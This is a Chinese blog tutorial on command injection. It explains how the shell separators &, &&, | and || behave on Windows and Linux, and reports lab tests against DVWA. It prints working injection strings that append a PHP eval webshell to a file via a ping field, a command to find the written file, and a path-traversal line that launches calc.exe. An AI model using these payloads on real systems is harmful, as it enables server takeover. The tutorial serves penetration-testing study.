命令注入

命令注入

命令注入(Command Injection)也可以成为远程命令执行漏洞,通常是一种高危漏洞。通过该漏洞,可以获取敏感信息、甚至直接获取到shell。该类漏洞通常产生在由应用系统给用户提供远程命令操作的接口上,见得多的是web管理界面的ping功能,在路由器、防火墙、入侵检测系统的web管理界面上可能会有。

关于命令注入的使用,像pikachu靶场中说的那样,应该先捋清&,&&等的运算关系,这个需要对Windows和Linux系统的shell命令有一定了解。

&,&&,|,||

像上面说的那样,存在命令注入较多的是ping命令,但也可能是其他功能。这些功能很可能因为业务功能的需要,对我们的命令注入造成了限制,你不能说人家是网络检查的ping功能,你却输入whoami。这个时候就用到了系统中的命令行拼接符。

命令拼接符在Windows和Linux上写法一样,但具体表达的意思还是有点区别。

windows linux
& 两条命令没有制约关系,互不影响 从后面的命令开始往前执行并显示正确命令的执行结果
&& 前一个命令执行成功才会执行后一个命令 第一条命令正确,才开始执行,执行并显示所有正确的命令
| 管道符,将第一条命令语句的输出,作为第二条命令语句的输入 当第二条命令正确时,执行第二条命令并显示结果
|| 两条命令,如果都正确,只执行前一条命令;如果第一条不正确,执行第一条后再执行第二条 如果两条命令都正确,只执行第一条,如果其中一条正确,执行正确命令并显示结果

该表源于网络和个人总结,如果话术描述不准确或不清晰,可以直接联系我。

从表中可以看到Windows和Linux系统在拼接符上面的区别,如果有疑问最好还是自己在自己的计算机上实验一下,像我在渗透中,使用较多的是&&||,这两个比较好理解。

利用方式

如果我们确定我们测试的系统中存在命令注入了,可以直接执行系统命令,那我们能做的事还是挺多的。比如:

  • 新建用户(如果服务器有安全软件,会弹窗拦截)
  • 写入webshell
  • 查看系统信息

靶机上的实验


如果要写入webshell,需要echo "<?php @eval($_POST[cmd]);?>" >> xxx.php,这里尤其注意的是得用双引号"",如过是单引号'',执行会失败。测试环境DVWA_low,测试用例分别是127.0.0.1 && echo '<?php @eval($_POST[cmd]);?>' >> command.php && echo 1127.0.0.1 && echo "<?php @eval($_POST[cmd]);?>" >> command.php && echo 1,他们之间唯一的区别就是单引号和双引号的区别,测试结果如下(具体原因我并不知道,也无从下手去找,欢迎知道的师傅评论点拨):

如果要找写入webshell的路径,可以使用dir /s/b d:command.php,代表在d盘中搜索command.php文件。


其他

忘记在什么地方,看到这么一个命令:cmd.exe /c "ping 127.0.0.1/../../../../../../../../windows/system32/calc.exe"。这一条命令只是感觉有意思,具体使用场景未知。

这里说一下cmd.exe /c 与 /k 的区别,/c 在运行命令之后会关闭窗口,而 /k 会保留窗口。参考链接:https://jingyan.baidu.com/article/cd4c2979266c30756e6e6091.html

本博客虽然很垃圾,但所有内容严禁转载
原文地址:https://www.cnblogs.com/ahtoh/p/14538747.html